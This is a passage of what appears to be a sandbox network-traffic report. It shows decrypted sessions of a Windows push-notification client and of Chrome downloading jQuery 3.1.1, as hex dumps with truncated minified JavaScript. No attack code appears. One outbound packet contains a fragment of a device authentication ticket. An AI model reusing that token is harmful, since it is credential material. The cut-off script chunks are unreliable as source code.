2024-10-23 19:04:03 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49710	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:02 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 41 58 66 61 39 63 70 62 54 45 71 65 71 66 61 6f 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 30 34 64 66 31 64 65 63 63 64 63 64 66 63 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: AXfa9cpbTEqeqfao.1Context: f04df1deccdcdfc3
2024-10-23 19:04:02 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-23 19:04:02 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 41 58 66 61 39 63 70 62 54 45 71 65 71 66 61 6f 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 30 34 64 66 31 64 65 63 63 64 63 64 66 63 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 41 49 4f 70 45 48 35 59 7a 6d 59 4a 58 45 49 53 71 71 39 6d 61 6c 6e 31 33 77 66 45 75 59 2b 57 43 65 49 30 44 78 6f 73 66 39 47 30 4e 66 48 47 68 72 51 35 43 50 35 61 4a 78 6f 68 4b 4a 78 4b 45 6d 79 73 38 44 4d 49 31 4b 7a 73 52 37 62 51 45 63 6a 2b 61 66 31 73 30 41 55 46 56 59 38 4f 5a 7a 55 77 55 78 69 70 4e 6f 56 7a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: AXfa9cpbTEqeqfao.2Context: f04df1deccdcdfc3<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYAIOpEH5YzmYJXEISqq9maln13wfEuY+WCeI0Dxosf9G0NfHGhrQ5CP5aJxohKJxKEmys8DMI1KzsR7bQEcj+af1s0AUFVY8OZzUwUxipNoVz
2024-10-23 19:04:02 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 41 58 66 61 39 63 70 62 54 45 71 65 71 66 61 6f 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 30 34 64 66 31 64 65 63 63 64 63 64 66 63 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: AXfa9cpbTEqeqfao.3Context: f04df1deccdcdfc3<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-23 19:04:02 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-23 19:04:02 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 62 44 53 37 47 38 54 67 47 6b 57 35 4b 6a 39 6f 36 6e 31 54 48 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: bDS7G8TgGkW5Kj9o6n1THg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49716	151.101.194.137	443	3492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:02 UTC	498	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-23 19:04:02 UTC	567	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 3829626 Date: Wed, 23 Oct 2024 19:04:02 GMT X-Served-By: cache-lga21947-LGA, cache-dfw-kdfw8210150-DFW X-Cache: MISS, HIT X-Cache-Hits: 0, 0 X-Timer: S1729710243.835973,VS0,VE1 Vary: Accept-Encoding
2024-10-23 19:04:02 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-10-23 19:04:02 UTC	1378	IN	Data Raw: 3e 3d 30 26 26 63 3c 62 3f 5b 74 68 69 73 5b 63 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 68 2c 73 6f 72 74 3a 63 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 63 2e 73 70 6c 69 63 65 7d 2c 72 2e 65 78 74 65 6e 64 3d 72 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 68 3d 31 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6a 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 67 26 26 28 6a 3d 67 2c 67 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: >=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]\|\|{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments
2024-10-23 19:04:02 UTC	1378	IN	Data Raw: 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 30 3b 69 66 28 77 28 61 29 29 7b 66 6f 72 28 63 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 63 3b 64 2b 2b 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 64 20 69 6e 20 61 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 61 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 22 22 3a 28 61 2b 22 22 29 2e Data Ascii: n a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").
2024-10-23 19:04:02 UTC	1378	IN	Data Raw: 61 72 72 61 79 22 3d 3d 3d 63 7c 7c 30 3d 3d 3d 62 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 62 3e 30 26 26 62 2d 31 20 69 6e 20 61 29 7d 76 61 72 20 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 70 2c 71 2c 72 2c 73 2c 74 2c 75 3d 22 73 69 7a 7a 6c 65 22 2b 31 2a 6e 65 77 20 44 61 74 65 2c 76 3d 61 2e 64 6f 63 75 6d 65 6e 74 2c 77 3d 30 2c 78 3d 30 2c 79 3d 68 61 28 29 2c 7a 3d 68 61 28 29 2c 41 3d 68 61 28 29 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 26 26 28 6c 3d 21 30 29 2c 30 7d 2c 43 3d 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 44 3d 5b 5d 2c 45 3d 44 2e 70 6f 70 2c 46 3d 44 2e Data Ascii: array"===c\|\|0===b\|\|"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.
2024-10-23 19:04:02 UTC	1378	IN	Data Raw: 70 28 22 5e 22 2b 4b 2b 22 2a 5b 3e 2b 7e 5d 7c 3a 28 65 76 65 6e 7c 6f 64 64 7c 65 71 7c 67 74 7c 6c 74 7c 6e 74 68 7c 66 69 72 73 74 7c 6c 61 73 74 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 28 3f 3a 2d 5c 5c 64 29 3f 5c 5c 64 2a 29 22 2b 4b 2b 22 2a 5c 5c 29 7c 29 28 3f 3d 5b 5e 2d 5d 7c 24 29 22 2c 22 69 22 29 7d 2c 57 3d 2f 5e 28 3f 3a 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 29 24 2f 69 2c 58 3d 2f 5e 68 5c 64 24 2f 69 2c 59 3d 2f 5e 5b 5e 7b 5d 2b 5c 7b 5c 73 2a 5c 5b 6e 61 74 69 76 65 20 5c 77 2f 2c 5a 3d 2f 5e 28 3f 3a 23 28 5b 5c 77 2d 5d 2b 29 7c 28 5c 77 2b 29 7c 5c 2e 28 5b 5c 77 2d 5d 2b 29 29 24 2f 2c 24 3d 2f 5b 2b 7e 5d 2f 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 28 5b 5c 5c 64 61 Data Ascii: p("^"+K+"[>+~]\|:(even\|odd\|eq\|gt\|lt\|nth\|first\|last)(?:\$"+K+"((?:-\\d)?\\d)"+K+"\$\|)(?=[^-]\|$)","i")},W=/^(?:input\|select\|textarea\|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)\|(\w+)\|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da
2024-10-23 19:04:02 UTC	1378	IN	Data Raw: 5b 33 5d 29 26 26 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 47 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 66 29 29 2c 64 7d 69 66 28 63 2e 71 73 61 26 26 21 41 5b 61 2b 22 20 22 5d 26 26 28 21 71 7c 7c 21 71 2e 74 65 73 74 28 61 29 29 29 7b 69 66 28 31 21 3d 3d 77 29 73 3d 62 2c 72 3d 61 3b 65 6c 73 65 20 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7b 28 6b 3d 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 6b 3d 6b 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3a 62 2e 73 65 74 Data Ascii: [3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q\|\|!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.set
2024-10-23 19:04:02 UTC	1378	IN	Data Raw: 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 69 73 44 69 73 61 62 6c 65 64 3d 3d 3d 61 7c 7c 62 2e 69 73 44 69 73 61 62 6c 65 64 21 3d 3d 21 61 26 26 65 61 28 62 29 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 22 6c 61 62 65 6c 22 69 6e 20 62 26 26 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 29 7b 72 65 74 75 72 6e 20 69 61 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 3d 2b 62 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 2c 66 3d 61 28 5b 5d 2c 63 2e 6c 65 6e 67 74 68 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 63 5b 65 3d 66 5b 67 5d 5d 26 26 28 63 5b 65 5d 3d 21 28 64 5b 65 Data Ascii: e.disabled===a:b.disabled===a:b.isDisabled===a\|\|b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e
2024-10-23 19:04:02 UTC	1378	IN	Data Raw: 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 63 26 26 63 2e 76 61 6c 75 65 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 2c 64 2c 65 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 69 66 28 66 29 7b 69 66 28 63 3d 66 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 2c 63 26 26 63 2e 76 61 6c 75 65 Data Ascii: n function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value
2024-10-23 19:04:02 UTC	1378	IN	Data Raw: 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 6f 70 74 69 6f 6e 2f 3e 3c 2f 73 65 6c 65 63 74 3e 22 3b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4b 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 61 2e 71 75 65 72 79 53 Data Ascii: bled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"[^$\|!~]?="),2!==a.queryS
2024-10-23 19:04:03 UTC	1378	IN	Data Raw: 44 6f 63 75 6d 65 6e 74 3d 3d 3d 76 26 26 74 28 76 2c 62 29 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3a 34 26 64 3f 2d 31 3a 31 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 63 2c 64 3d 30 2c 65 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 66 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 67 3d 5b 61 5d 2c 68 3d 5b 62 5d 3b 69 66 28 21 65 7c 7c 21 66 29 72 65 74 75 72 6e 20 61 3d 3d 3d 6e 3f 2d 31 3a 62 3d 3d 3d 6e 3f 31 3a 65 3f 2d 31 3a 66 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3b 69 66 28 65 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6c 61 28 61 2c 62 29 3b 63 3d 61 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 67 2e 75 6e Data Ascii: Document===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e\|\|!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.un

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49719	151.101.2.137	443	3492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:04 UTC	358	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-23 19:04:04 UTC	567	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 23 Oct 2024 19:04:04 GMT Age: 3829627 X-Served-By: cache-lga21947-LGA, cache-dfw-kdal2120032-DFW X-Cache: MISS, HIT X-Cache-Hits: 0, 1 X-Timer: S1729710244.241757,VS0,VE1 Vary: Accept-Encoding
2024-10-23 19:04:04 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-10-23 19:04:04 UTC	16384	IN	Data Raw: 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 74 26 26 28 73 26 26 28 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6b 5b 61 5d 3d 5b 77 2c 74 5d 29 2c 6d 3d 3d 3d 62 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 74 2d 3d 65 2c 74 3d 3d 3d 64 7c 7c 74 25 64 3d 3d 3d 30 26 26 74 2f 64 3e 3d 30 7d 7d 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 65 3d 64 2e 70 73 65 75 64 6f 73 5b 61 5d 7c 7c 64 2e 73 65 74 46 69 6c 74 65 72 73 5b 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 67 61 2e 65 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 70 73 65 75 64 6f 3a 20 22 2b 61 29 3b 72 65 74 Data Ascii: ===m.nodeType)&&++t&&(s&&(l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d\|\|t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]\|\|d.setFilters[a.toLowerCase()]\|\|ga.error("unsupported pseudo: "+a);ret
